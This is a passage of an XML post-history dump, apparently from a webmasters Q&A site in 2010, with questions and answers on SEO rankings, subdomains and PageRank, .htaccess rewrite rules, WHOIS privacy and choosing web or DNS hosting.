assumption that once you build an application on a given cloud vendors proprietary storage APIs you're locked in to that vendor. The day where we can freely move a large-scale application between different cloud implementations isn't here yet.&#xD;&#xA;&#xD;&#xA;The exceptions are the 'SQL databases in the cloud', i.e. Amazon RDS (hosted MySQL) and Windows Azure's SQL API (hosted SQL Server). If you build a traditional 2-tier web application on top of these, then you can move it to traditional hosting with a MySQL / MSSQL backend. But that's outside OPs question, since Google AppEngine doesn't offer a MySQL backend.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://appscale.cs.ucsb.edu/" />
  <row Id="6840" PostHistoryTypeId="2" PostId="3485" RevisionGUID="fcd40a73-a240-4a18-9a62-9b7225e004c9" CreationDate="2010-10-03T16:54:47.847" UserId="745" Text="You can also take a look at these lists of RSS directories:&#xD;&#xA;&#xD;&#xA; - [55 RSS Directories][1]&#xD;&#xA; - [RSS and Blog Directories][2]&#xD;&#xA; - [RSS Directories][3]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.masternewmedia.org/rss/top55/&#xD;&#xA;  [2]: http://www.toprankblog.com/rss-blog-directories/&#xD;&#xA;  [3]: http://npxp.com/rss-directories-list" />
  <row Id="6841" PostHistoryTypeId="16" PostId="3485" RevisionGUID="fcd40a73-a240-4a18-9a62-9b7225e004c9" CreationDate="2010-10-03T16:54:47.847" UserId="-1" />
  <row Id="6842" PostHistoryTypeId="2" PostId="3486" RevisionGUID="63d9a988-a53d-40ea-9782-9af744709df8" CreationDate="2010-10-03T16:59:05.470" UserId="2194" Text="I did this site about 2 months ago: &lt;a href=&quot;http://pbg-bulgaria.com&quot;&gt;www.pbg-bulgaria.com&lt;/a&gt;&#xD;&#xA;The problem is that I cannot find the site, for keywords such as “bulgarian properties” and related in the first 30 or even more Google pages.&#xD;&#xA;&#xD;&#xA;The tool I'm using for Google position says that the site cannot be found in the first 100 pages, which is quite alarming. Google Analytics shows no traffic from generic keywords (only keywords associated with the name of the company)&#xD;&#xA;&#xD;&#xA;I know that a lot of improvements can be made: there is no h1 and h2 titles, I don’t have many backlinks yet, I can put some more keywords here and there, but overall I think the site is ok. In the Google Webmaster account everything looks fine as well. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Do you have any suggestions?" />
  <row Id="6843" PostHistoryTypeId="1" PostId="3486" RevisionGUID="63d9a988-a53d-40ea-9782-9af744709df8" CreationDate="2010-10-03T16:59:05.470" UserId="2194" Text="My site does not appear in the first 30 or more Google pages. What could be the reasons?" />
  <row Id="6844" PostHistoryTypeId="3" PostId="3486" RevisionGUID="63d9a988-a53d-40ea-9782-9af744709df8" CreationDate="2010-10-03T16:59:05.470" UserId="2194" Text="&lt;seo&gt;&lt;google&gt;&lt;site-ranking&gt;" />
  <row Id="6845" PostHistoryTypeId="2" PostId="3487" RevisionGUID="c5237dc6-484a-44d6-b995-9e8300572293" CreationDate="2010-10-03T17:34:34.640" UserDisplayName="Ogugua Belonwu" Text=" have a wordpress website on my main domain&#xD;&#xA;&#xD;&#xA;For the wordpress website i have this in my .htaccess file&#xD;&#xA;&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule . /index.php&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    # END WordPress&#xD;&#xA;&#xD;&#xA;I just created an addon domain and wanted to use new rules for it&#xD;&#xA;&#xD;&#xA;I created a .htaccess file and put it inside the addon folder eg /newaddon&#xD;&#xA;&#xD;&#xA;In the .htaccess file i have:&#xD;&#xA;&#xD;&#xA;    Options -Indexes&#xD;&#xA;    &#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteRule ^readjob/(.*)/(.*)/(.*)/$ readjob.php?id=$1&amp;amp;cat=$2&amp;amp;title=$3&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;The url stucture i have is this:&#xD;&#xA;&#xD;&#xA;**http://www.website.com/readjob/3/jobs/web-designers-potech-integrated-services/**&#xD;&#xA;&#xD;&#xA;But it keeps telling me link is broken&#xD;&#xA;&#xD;&#xA;I dont know what to do, pls i need assistance&#xD;&#xA;&#xD;&#xA;(pls i just learnt mod rewriting today, so clarity will be highly appreciated)&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="6846" PostHistoryTypeId="1" PostId="3487" RevisionGUID="c5237dc6-484a-44d6-b995-9e8300572293" CreationDate="2010-10-03T17:34:34.640" UserDisplayName="Ogugua Belonwu" Text="Mod Rewrite not working on my addon domain" />
  <row Id="6847" PostHistoryTypeId="3" PostId="3487" RevisionGUID="c5237dc6-484a-44d6-b995-9e8300572293" CreationDate="2010-10-03T17:34:34.640" UserDisplayName="Ogugua Belonwu" Text="&lt;php&gt;" />
  <row Id="6848" PostHistoryTypeId="2" PostId="3488" RevisionGUID="f3fd336a-9d5d-4159-9ad5-2288d40a7616" CreationDate="2010-10-03T18:19:54.457" UserId="2196" Text="A simple thing to test is to run the SEO Toolkit from MS. It is free and can be installed from the Web platform installer. Getting people to link to your site is harder but if you provide a good service a market it well they will soon enough.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6849" PostHistoryTypeId="2" PostId="3489" RevisionGUID="0fb5c686-598a-4cb0-a45c-b23ee53f0145" CreationDate="2010-10-03T18:21:28.707" UserId="1955" Text="having no back links is bad. I suggest you to try to earn some(using non spam methods of course). You can try http://www.woorank.com and check what are your website weak sides that can easily be optimised. Running a web campaign using some advertising tools(such as Add Words) can bring you more visitors too. Also can you tell how old you website is? If it is fairly new this may also have some impact. Optimize your titles and wait for a while. Building a famous website is not a one day task.&#xD;&#xA;&#xD;&#xA;P.S. If you use my advice and test it with woorank A nice point to start with is to resolve the &quot;www&quot; problem. If you have problems with any of these just ask." />
  <row Id="6850" PostHistoryTypeId="2" PostId="3490" RevisionGUID="23aefd26-f1cd-4cba-97e2-f6ac6c236a36" CreationDate="2010-10-03T19:58:41.060" UserId="1253" Text="There is a [Google Adsense API][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/adsense/developer/index.html" />
  <row Id="6851" PostHistoryTypeId="2" PostId="3491" RevisionGUID="0ccba32c-58f4-493e-99bc-644c7bcf8e4c" CreationDate="2010-10-03T20:38:03.237" UserId="125" Text="I think back links are the most important thing you need to worry about. I recently launched a website, and one of the things I did was try and get links posted to it. For example, on sites such as stackoverflow, you can update your user info to include a link to your website.&#xD;&#xA;&#xD;&#xA;Another thing I did was find relevant blog posts about the solutions I offer and post comments on the blog post which could help users. You need to make sure to not make your posts appear like spam. You should genuinely be interested in helping people solve the problem they have, and create a solution that is good enough to be able to link to it in blog post comments. People should find your comment to be useful and not a shameless plug.&#xD;&#xA;&#xD;&#xA;Another benefit of adding comments on blog posts is that they usually allow you to add a website link, similar to stackoverflow, which is yet another link to your site." />
  <row Id="6852" PostHistoryTypeId="5" PostId="3399" RevisionGUID="7b6e99ce-4bd1-4f69-a1b0-f76425744eb7" CreationDate="2010-10-03T20:40:32.460" UserId="3" Comment="added 10 characters in body" Text="As part of graduating from Area51 and becoming a full fledged site we sometimes change domain names from `http://topic.stackexchange.com` to `http://example.com`. Aside from the obvious 301 redirect rules to support existing urls transparently, are there other techniques that would aid in the preservation of PageRank?&#xD;&#xA;" />
  <row Id="6853" PostHistoryTypeId="2" PostId="3492" RevisionGUID="38500b3f-5e88-4fa3-9edb-904b7fb40444" CreationDate="2010-10-03T20:53:09.193" UserId="125" Text="I have a website set up at `www.example.com`, and I have `example.com` set to redirect to `www.example.com`.&#xD;&#xA;&#xD;&#xA;The problem is that it's set to redirect directly to the homepage. For example, `example.com/page/123` takes you to `www.example.com` instead of `www.example.com/page/123`. The reason I'm doing this is because I don't have access to the .htaccess file, and the [only solution I can use][1] is setting up a 301 redirect.&#xD;&#xA;&#xD;&#xA;My question is if this will negatively impact my SEO rating at all.&#xD;&#xA;&#xD;&#xA;I never link to the non-www version of the site. It's mainly a convenient way to get to the homepage of the site, which is hosted at the `www.` version. I doubt anyone will take a `www.` link to a page, strip the `www.` and link to that version instead (which won't work). Thus, I don't think there are any cases of anyone using the naked domain to get to anything but the homepage of the site. Am I overlooking anything?&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1441/is-there-any-way-to-redirect-one-domain-to-another-via-dns-settings-keeping-the-p" />
  <row Id="6854" PostHistoryTypeId="1" PostId="3492" RevisionGUID="38500b3f-5e88-4fa3-9edb-904b7fb40444" CreationDate="2010-10-03T20:53:09.193" UserId="125" Text="Are there any significant disadvantages of forwarding a naked domain to the www. homepage always?" />
  <row Id="6855" PostHistoryTypeId="3" PostId="3492" RevisionGUID="38500b3f-5e88-4fa3-9edb-904b7fb40444" CreationDate="2010-10-03T20:53:09.193" UserId="125" Text="&lt;seo&gt;&lt;domains&gt;" />
  <row Id="6856" PostHistoryTypeId="2" PostId="3493" RevisionGUID="a7bbd945-4f9b-4859-be90-391fc6b7b890" CreationDate="2010-10-03T21:52:01.807" UserId="1253" Text="The odds are it isn't be good because you're telling the search engines, and everyone who visits a non-www page, every non-www page has moved to the home page which isn't true. This may not be necessary since Blogger uses canonical URLs so you wouldn't have to worry about duplicate content potentially caused by the www. " />
  <row Id="6857" PostHistoryTypeId="2" PostId="3494" RevisionGUID="eee96d80-58c6-4b04-a37a-3e0dc7da8f50" CreationDate="2010-10-03T22:59:39.800" UserId="219" Text="If I have a domain name say `stackexchange.com` and I want to host 2 sites X and Y as subdomains of that site. &#xD;&#xA;&#xD;&#xA;Will `x.stackexchange.com` help out `y.stackexchange.com` in page rank?  Or will google treat them as 2 separate sites as far as page rank is concerned?&#xD;&#xA;" />
  <row Id="6858" PostHistoryTypeId="1" PostId="3494" RevisionGUID="eee96d80-58c6-4b04-a37a-3e0dc7da8f50" CreationDate="2010-10-03T22:59:39.800" UserId="219" Text="Are page ranks for subdomains independent?" />
  <row Id="6859" PostHistoryTypeId="3" PostId="3494" RevisionGUID="eee96d80-58c6-4b04-a37a-3e0dc7da8f50" CreationDate="2010-10-03T22:59:39.800" UserId="219" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;subdomain&gt;" />
  <row Id="6860" PostHistoryTypeId="5" PostId="2305" RevisionGUID="f6bd8931-d085-4587-9f0d-59329ae90f77" CreationDate="2010-10-03T23:07:58.910" UserId="1078" Comment="added 621 characters in body" Text="I currently have my full contact details (including my phone number and postal address) in the WHOIS information for all the domain names I have registered so far. I wonder how bad of an idea this is and whether I should remove such information from the WHOIS.&#xD;&#xA;&#xD;&#xA;What are the possible consequences of leaving such information there and what are the benefits (if any) for leaving it? Are there any known incidents for troubles because of WHOIS information? Finally, what would you recommend? Would you recommend using a WHOIS privacy service?&#xD;&#xA;&#xD;&#xA;Just to add, I believe there are services, like domaintools.com, that archive the WHOIS information, so, is it too late to remove my contact details? (if you think I should remove it).&#xD;&#xA;&#xD;&#xA;Many thanks&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;I just received an email from my domain registrar which included this:&#xD;&#xA;&#xD;&#xA;(Under ICANN rules and the terms of your registration agreement, PROVIDING FALSE CONTACT INFORMATION CAN BE GROUNDS FOR DOMAIN NAME CANCELLATION.) To review the ICANN policy, visit: http://www.icann.org/en/whois/wdrp-registrant-faq.htm&#xD;&#xA;&#xD;&#xA;So, it's clear that there's no choice as to providing your real contact details. A WHOIS privacy service is the best option if anyone wants to hide their contact details (this is best done from the beginning as there are services, like domaintools.com, that archive the WHOIS information)." />
  <row Id="6861" PostHistoryTypeId="2" PostId="3495" RevisionGUID="3449e4e2-c67f-4723-a160-3e8100a704fc" CreationDate="2010-10-03T23:13:03.730" UserId="1253" Text="**PageRank** and **a page's rank** are *per page*. Not per site. So every page is judged on its own individual merits and there is no concept of &quot;web sites&quot; as far as they are concerned." />
  <row Id="6862" PostHistoryTypeId="5" PostId="3495" RevisionGUID="cee0c6af-f99c-4385-96df-370ff0ae375b" CreationDate="2010-10-03T23:19:07.483" UserId="1253" Comment="added 2 characters in body" Text="**PageRank** and **a page's rank** are *per page*. Not *per site*. So every page is judged on its own individual merits and there is no concept of &quot;web sites&quot; as far as they are concerned." />
  <row Id="6863" PostHistoryTypeId="5" PostId="3494" RevisionGUID="bf78c708-a6eb-4994-bc59-b61092e52464" CreationDate="2010-10-03T23:28:53.033" UserId="219" Comment="added 34 characters in body" Text="If I have a domain name say `stackexchange.com` and I want to host 2 sites X and Y as subdomains of that site. &#xD;&#xA;&#xD;&#xA;Will `x.stackexchange.com` help out `y.stackexchange.com` in page rank?  Or will google treat them as 2 separate sites as far as page rank is concerned?&#xD;&#xA;&#xD;&#xA;Is there any SEO benefit at all?" />
  <row Id="6864" PostHistoryTypeId="5" PostId="3494" RevisionGUID="cb008ade-bafc-4372-a21d-ff3c6a2bdf8f" CreationDate="2010-10-03T23:49:26.063" UserId="219" Comment="added 182 characters in body; deleted 28 characters in body; added 29 characters in body; added 459 characters in body" Text="If I have a domain name say `stackexchange.com` and I want to host 2 sites X and Y as subdomains of that site. &#xD;&#xA;&#xD;&#xA;Will `x.stackexchange.com` help out `y.stackexchange.com` in page rank?  Or will google treat them as 2 separate sites as far as page rank is concerned?&#xD;&#xA;&#xD;&#xA;Is there any SEO benefit at all?&#xD;&#xA;&#xD;&#xA;The question stems from this post and its answers and comments by the way: http://meta.webapps.stackexchange.com/questions/624/webapps-stackexchange-com-verus-nothingtoinstall-com&#xD;&#xA;&#xD;&#xA;Comments like this one and others:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 	&#xD;&#xA;&#xD;&#xA;&gt; No doubt the site will be great either&#xD;&#xA;&gt; way. But all things being equal&#xD;&#xA;&gt; questions from a &quot;smaller site&quot; (with&#xD;&#xA;&gt; less traffic and less overall&#xD;&#xA;&gt; linkbacks as far as Google is&#xD;&#xA;&gt; concerned) will have a lower Google&#xD;&#xA;&gt; ranking than if the site is &quot;seen&quot; as&#xD;&#xA;&gt; part of a huge network (made up of all&#xD;&#xA;&gt; the SE sites combined) with ONE&#xD;&#xA;&gt; top-level domain. Is it worth it? –&#xD;&#xA;&gt; Robert Cartaino♦ 2 days ago" />
  <row Id="6865" PostHistoryTypeId="5" PostId="3494" RevisionGUID="9e9c0ba8-fd8f-4ffd-bff9-e229f585baa2" CreationDate="2010-10-03T23:55:05.020" UserId="219" Comment="added 330 characters in body; added 189 characters in body" Text="If I have a domain name say `stackexchange.com` and I want to host 2 sites X and Y as subdomains of that site. &#xD;&#xA;&#xD;&#xA;Will `x.stackexchange.com` help out `y.stackexchange.com` in page rank?  Or will google treat them as 2 separate sites as far as page rank is concerned?&#xD;&#xA;&#xD;&#xA;Is there any SEO benefit at all?&#xD;&#xA;&#xD;&#xA;The question stems from this post and its answers and comments by the way: http://meta.webapps.stackexchange.com/questions/624/webapps-stackexchange-com-verus-nothingtoinstall-com&#xD;&#xA;&#xD;&#xA;Comments like this one and others:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 	&#xD;&#xA;&#xD;&#xA;&gt; No doubt the site will be great either&#xD;&#xA;&gt; way. But all things being equal&#xD;&#xA;&gt; questions from a &quot;smaller site&quot; (with&#xD;&#xA;&gt; less traffic and less overall&#xD;&#xA;&gt; linkbacks as far as Google is&#xD;&#xA;&gt; concerned) will have a lower Google&#xD;&#xA;&gt; ranking than if the site is &quot;seen&quot; as&#xD;&#xA;&gt; part of a huge network (made up of all&#xD;&#xA;&gt; the SE sites combined) with ONE&#xD;&#xA;&gt; top-level domain. Is it worth it? –&#xD;&#xA;&gt; Robert Cartaino♦ 2 days ago&#xD;&#xA;&#xD;&#xA;Or this one:&#xD;&#xA;&#xD;&#xA;	&#xD;&#xA;&#xD;&#xA;&gt; Is it worth sacrificing the network&#xD;&#xA;&gt; effect of being on the Stack Exchange&#xD;&#xA;&gt; Network AND the lower Google ranking&#xD;&#xA;&gt; on every question (smaller sites will&#xD;&#xA;&gt; have lower rankings than a large&#xD;&#xA;&gt; network) to have the independent&#xD;&#xA;&gt; domain name? That's what I am asking.&#xD;&#xA;&gt; – Robert Cartaino♦ 2 days ago&#xD;&#xA;&#xD;&#xA;Or this one:&#xD;&#xA;&#xD;&#xA;&gt; @alexanderpas correct, and nothing&#xD;&#xA;&gt; will destroy that search ranking&#xD;&#xA;&gt; faster than splitting pagerank across&#xD;&#xA;&gt; 25+ unique domain names. – Jeff&#xD;&#xA;&gt; Atwood♦ yesterday" />
  <row Id="6866" PostHistoryTypeId="2" PostId="3496" RevisionGUID="3ee8aee3-bad3-494c-a8d9-52446db75865" CreationDate="2010-10-04T00:44:46.447" UserId="2200" Text="If I have mysite.com, and blog.mysite.com, do search engines see those as 1 site or 2?  Will using subdomains hurt SEO?  I have some technical reasons why I can't use mysite.com/blog." />
  <row Id="6867" PostHistoryTypeId="1" PostId="3496" RevisionGUID="3ee8aee3-bad3-494c-a8d9-52446db75865" CreationDate="2010-10-04T00:44:46.447" UserId="2200" Text="Do subdomains help/hurt SEO?" />
  <row Id="6868" PostHistoryTypeId="3" PostId="3496" RevisionGUID="3ee8aee3-bad3-494c-a8d9-52446db75865" CreationDate="2010-10-04T00:44:46.447" UserId="2200" Text="&lt;seo&gt;" />
  <row Id="6873" PostHistoryTypeId="2" PostId="3499" RevisionGUID="a92f1d64-62f7-44a7-8287-9de3f4870694" CreationDate="2010-10-04T00:51:03.577" UserId="219" Text="I would probably write some code to handle the redirect manually in that case.  &#xD;&#xA;&#xD;&#xA;As far as user experience, the user would much rather go to the correct location whether or not they put a `www.` in front.&#xD;&#xA;&#xD;&#xA;As far as SEO, I guess it would marginally help your home page, but marginally hurt your sub-pages." />
  <row Id="6875" PostHistoryTypeId="2" PostId="3500" RevisionGUID="f40103d5-bec5-44e9-b31c-292167ec26df" CreationDate="2010-10-04T04:37:30.763" UserId="2235" Text="I'm starting to see some Websites offer the option to login via Facebook. I'm curious how useful it is a feature. For example, when someone logs in, does her friend knows on Facebook that she logged in? What if there are more fields that I require than Facebook stores? &#xD;&#xA;&#xD;&#xA;Which one would you use from the list of 13 controls?&#xD;&#xA;&#xD;&#xA;- http://vatlab.com/facebook-asp-net-libs/facebook-connect-asp-net&#xD;&#xA;&#xD;&#xA;It would save me a lot of time to buy the app from them. But I wonder if there is anything else I'm missing out (like a free version elsewhere).&#xD;&#xA;&#xD;&#xA;My goal is to make registration/sign up quick and painless so they go through the motion while spreading the word. At the end of the process, the user will receive something (i.e. free e-book).&#xD;&#xA;&#xD;&#xA;So it seems that there are 2 points where Facebook can help and perhaps make their friends take notice. Facebook Connect and Facebook invite friends.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6876" PostHistoryTypeId="1" PostId="3500" RevisionGUID="f40103d5-bec5-44e9-b31c-292167ec26df" CreationDate="2010-10-04T04:37:30.763" UserId="2235" Text="How useful is Facebook Connect Login?" />
  <row Id="6877" PostHistoryTypeId="3" PostId="3500" RevisionGUID="f40103d5-bec5-44e9-b31c-292167ec26df" CreationDate="2010-10-04T04:37:30.763" UserId="2235" Text="&lt;facebook&gt;&lt;login&gt;&lt;registration&gt;" />
  <row Id="6878" PostHistoryTypeId="2" PostId="3501" RevisionGUID="6f38f472-5499-472f-a906-e1702e475424" CreationDate="2010-10-04T04:43:54.867" UserId="1078" Text="Unless you have enough back links (quality links not just quantity), it's quite normal not to rank high in search engine result pages (SERPs), and this is regardless of how good and relevant your content is. It's sad but true.&#xD;&#xA;&#xD;&#xA;As your site is new, it also might be the [sandbox effect][1] (although this has never been confirmed by google).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sandbox_effect" />
  <row Id="6880" PostHistoryTypeId="2" PostId="3502" RevisionGUID="3658cbe1-e573-4c66-bcc0-89779fb7f478" CreationDate="2010-10-04T05:42:43.250" UserId="3" Text="Excellent [Matt Cutts link][1] from John Conde:&#xD;&#xA;&#xD;&#xA;&gt; For several years Google has used something called “host crowding,” which means that **Google will show up to two results from each hostname/subdomain of a domain name.** That approach works very well to show 1-2 results from a subdomain, but we did hear complaints that for some types of searches (e.g. esoteric or long-tail searches), Google could return a search page with lots of results all from one domain. In the last few weeks we changed our algorithms to make that less likely to happen in the future.&#xD;&#xA;&#xD;&#xA;&gt; This change doesn’t apply across the board; if a particular domain is really relevant, we may still return several results from that domain. For example, with a search query like [ibm] the user probably likes/wants to see several results from ibm.com. Note that this is a pretty subtle change, and it doesn’t affect a majority of our queries.&#xD;&#xA;&#xD;&#xA;The &quot;host crowding&quot; has been documented before; it means that many hits from the 'same' domain may be grouped and suppressed. This extends to subdomains `x.example.com` and subfolders `example.com/x` equally, but does *not* extend to results at `example-a.com` and `example-b.com`.&#xD;&#xA;&#xD;&#xA;And most importantly, in context of the question:&#xD;&#xA;&#xD;&#xA;&gt; A subdomain can be useful to separate out content that is completely different. Google uses subdomains for distinct products such news.google.com or maps.google.com, for example&#xD;&#xA;&#xD;&#xA;Which is basically our goal. Well, that, and cutting the gordian knot of 25 (and counting) impossible naming situations.&#xD;&#xA;&#xD;&#xA;[1]: http://www.mattcutts.com/blog/subdomains-and-subdirectories/" />
  <row Id="6881" PostHistoryTypeId="2" PostId="3503" RevisionGUID="e6e7d55d-88d4-4ab0-bb77-92efb96a89d1" CreationDate="2010-10-04T06:12:41.463" UserId="3" Text="From [Vanessa Fox][1], an ex-Google employee:&#xD;&#xA;&#xD;&#xA;&gt; Google is no longer treating subdomains (blog.widgets.com versus widgets.com) independently, instead attaching some association between them. The ranking algorithms have been tweaked so that pages from multiple subdomains have a much higher relevance bar to clear in order to be shown.&#xD;&#xA;&#xD;&#xA;&gt; It’s not that the “two page limit” now means from any domain and its associated subdomains in total. It’s simply a bit harder than it used to be for multiple subdomains to rank in a set of 10 results. If multiple subdomains are highly relevant for a query, it’s still possible for all of them to rank well.&#xD;&#xA;&#xD;&#xA;It's unclear what the &quot;some association&quot; part is -- but the parent and child domain like `a.example.com` and `b.example.com` obviously have a relationship of *some* kind, far beyond what two websites named `example-a.com` and `example-b.com` would have.&#xD;&#xA;&#xD;&#xA;I don't think any Google *penalties* can go upstream to the parent, otherwise a lot of web hosting services would quickly find themselves delisted, by [this (sensible, IMO) logic][2]:&#xD;&#xA;&#xD;&#xA;&gt; In this instance I’m talking about the exception given to protect free hosts from penalties, particularly those who give their users subdomains such as Hypermart, Xoom, Wordpress.com, Blogger, Tripod etc. This exemption can’t only cover the popular free hosts otherwise no new freehosts would ever stand a chance. As soon as they got a single spammy user their whole site could get banned and poof goes their legit business.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Likewise algorithmically it can’t cover all free hosts because then the big ones like Wordpress.com and Typepad would all be penalized. On a foresight this would also include profile based social sites such as Myspace and outbound linking social sites such as Delicious.&#xD;&#xA;&#xD;&#xA;Therefore penalties can only go downstream to the child subdomains from the parent.&#xD;&#xA;&#xD;&#xA;&gt; **Primary domains can pass a penalty to subdomains.** Subdomains can’t pass a penalty to a main domain unless the main domain holds a clear relation to the subdomain.&#xD;&#xA;&#xD;&#xA;It's not entirely correct to say that `a.example.com` and `example.com` are unrelated (as far as Google is concerned). But it does appear that only *penalties*, not *bonuses*, are ever transferred across.&#xD;&#xA;&#xD;&#xA;[1]: http://www.searchenginejournal.com/subdomains-or-subfolders-which-are-better-for-seo/6849/&#xD;&#xA;[2]: http://www.bluehatseo.com/open-questions-subdomains-and-main-domains/" />
  <row Id="6882" PostHistoryTypeId="5" PostId="3502" RevisionGUID="2222c1df-83be-490a-8a9a-ddd4afc16c39" CreationDate="2010-10-04T06:31:29.560" UserId="3" Comment="added 874 characters in body" Text="Excellent [Matt Cutts link][1] from John Conde:&#xD;&#xA;&#xD;&#xA;&gt; For several years Google has used something called “host crowding,” which means that **Google will show up to two results from each hostname/subdomain of a domain name.** That approach works very well to show 1-2 results from a subdomain, but we did hear complaints that for some types of searches (e.g. esoteric or long-tail searches), Google could return a search page with lots of results all from one domain. In the last few weeks we changed our algorithms to make that less likely to happen in the future.&#xD;&#xA;&#xD;&#xA;&gt; This change doesn’t apply across the board; if a particular domain is really relevant, we may still return several results from that domain. For example, with a search query like [ibm] the user probably likes/wants to see several results from ibm.com. Note that this is a pretty subtle change, and it doesn’t affect a majority of our queries.&#xD;&#xA;&#xD;&#xA;The &quot;host crowding&quot; has been documented before; it means that many hits from the 'same' domain may be grouped and suppressed. This extends to subdomains `x.example.com` and subfolders `example.com/x` equally, but does *not* extend to results at `example-a.com` and `example-b.com`.&#xD;&#xA;&#xD;&#xA;And most importantly, in context of the question:&#xD;&#xA;&#xD;&#xA;&gt; A subdomain can be useful to separate out content that is completely different. Google uses subdomains for distinct products such news.google.com or maps.google.com, for example&#xD;&#xA;&#xD;&#xA;Which is basically our goal. Well, that, and cutting the gordian knot of 25 (and counting) impossible naming situations.&#xD;&#xA;&#xD;&#xA;Another [good analysis][2] -- in conclusion, **multiple domains vs subdomains is a wash**.&#xD;&#xA;&#xD;&#xA;&gt; Use subdomains when you have very disparate content that you feel searchers would feel relevant. For instance, videos are very different from articles, so it may make sense to separate those into subdomains. If you have a travel site, it may make sense to use subdomains to categorize cities. Someone searching for a particular resort may want to see the various locations that resort is located in.&#xD;&#xA;&#xD;&#xA;&gt; In particular, look at the use of a single domain versus subdomains versus separate domains from a business perspective. What makes the most sense for your users? If you have completely different business units, they may appear more credible as individual subdomains.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://www.mattcutts.com/blog/subdomains-and-subdirectories/&#xD;&#xA;[2]: http://searchengineland.com/how-changes-to-the-way-google-handles-subdomains-impact-seo-12899" />
  <row Id="6883" PostHistoryTypeId="6" PostId="3496" RevisionGUID="97ba2bcb-45d5-4e05-afd8-d8dfdb064a6c" CreationDate="2010-10-04T06:39:20.727" UserId="3" Comment="edited tags" Text="&lt;seo&gt;&lt;subdomain&gt;" />
  <row Id="6884" PostHistoryTypeId="2" PostId="3504" RevisionGUID="d110686d-62e7-422e-a693-3a0ebfbb8f3a" CreationDate="2010-10-04T08:08:25.897" UserId="2201" Text=" 0  down vote  favorite&#xD;&#xA;Share on Facebook Share on Twitter&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;Hello,&#xD;&#xA;&#xD;&#xA;I'm looking for new personal hosting after using Dreamhost for a while. I'm looking for hosting which has the following features:&#xD;&#xA;&#xD;&#xA;    * Shell access (obviously)&#xD;&#xA;    * Prebuilt LAMP stack (optional)&#xD;&#xA;    * Python/Ruby support&#xD;&#xA;    * Scalable&#xD;&#xA;    * Good speeds around the world (I travel a lot)&#xD;&#xA;    * Not too expensive?&#xD;&#xA;&#xD;&#xA;What are you using currently for hosting and why do you like it?&#xD;&#xA;" />
  <row Id="6885" PostHistoryTypeId="1" PostId="3504" RevisionGUID="d110686d-62e7-422e-a693-3a0ebfbb8f3a" CreationDate="2010-10-04T08:08:25.897" UserId="2201" Text="Looking for new hosting after Dreamhost" />
  <row Id="6886" PostHistoryTypeId="3" PostId="3504" RevisionGUID="d110686d-62e7-422e-a693-3a0ebfbb8f3a" CreationDate="2010-10-04T08:08:25.897" UserId="2201" Text="&lt;web-hosting&gt;&lt;shared-hosting&gt;" />
  <row Id="6887" PostHistoryTypeId="2" PostId="3505" RevisionGUID="202015da-0822-48f7-86ce-19c10566a151" CreationDate="2010-10-04T08:34:59.763" UserId="2201" Text="I'm looking for dedicated hosting with at least 1GB of RAM that doesn't hurt the wallet too much. Specifically it should have goods speed around the world as well.&#xD;&#xA;&#xD;&#xA;Suggestions?" />
  <row Id="6888" PostHistoryTypeId="1" PostId="3505" RevisionGUID="202015da-0822-48f7-86ce-19c10566a151" CreationDate="2010-10-04T08:34:59.763" UserId="2201" Text="Fast, Cheap, Dedicated Hosting" />
  <row Id="6889" PostHistoryTypeId="3" PostId="3505" RevisionGUID="202015da-0822-48f7-86ce-19c10566a151" CreationDate="2010-10-04T08:34:59.763" UserId="2201" Text="&lt;server&gt;&lt;linux&gt;" />
  <row Id="6890" PostHistoryTypeId="2" PostId="3506" RevisionGUID="a5c46339-8810-4667-906b-cc21427caddb" CreationDate="2010-10-04T11:10:08.053" UserId="1265" Text="You might want to look at [Arvixe][1]. They're really inexpensive, good service, and unlimited disk space. I can't speak to how much RAM they maintain, but they're pretty top notch.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/" />
  <row Id="6891" PostHistoryTypeId="2" PostId="3507" RevisionGUID="d109a752-9a68-440f-b913-ab9f7973b6ca" CreationDate="2010-10-04T11:46:52.100" UserId="1818" Text="I have just purchased a domain name, however now I realise dns hosting was not free and I have to pay extra to set an MX, CNAME or A record.&#xD;&#xA;&#xD;&#xA;Do I have to do this with the same company I registered my domain with or can I do this with someone who offers this service at a lower cost?" />
  <row Id="6892" PostHistoryTypeId="1" PostId="3507" RevisionGUID="d109a752-9a68-440f-b913-ab9f7973b6ca" CreationDate="2010-10-04T11:46:52.100" UserId="1818" Text="DNS Hosting with Purchased Domain Name" />
  <row Id="6893" PostHistoryTypeId="3" PostId="3507" RevisionGUID="d109a752-9a68-440f-b913-ab9f7973b6ca" CreationDate="2010-10-04T11:46:52.100" UserId="1818" Text="&lt;dns&gt;" />
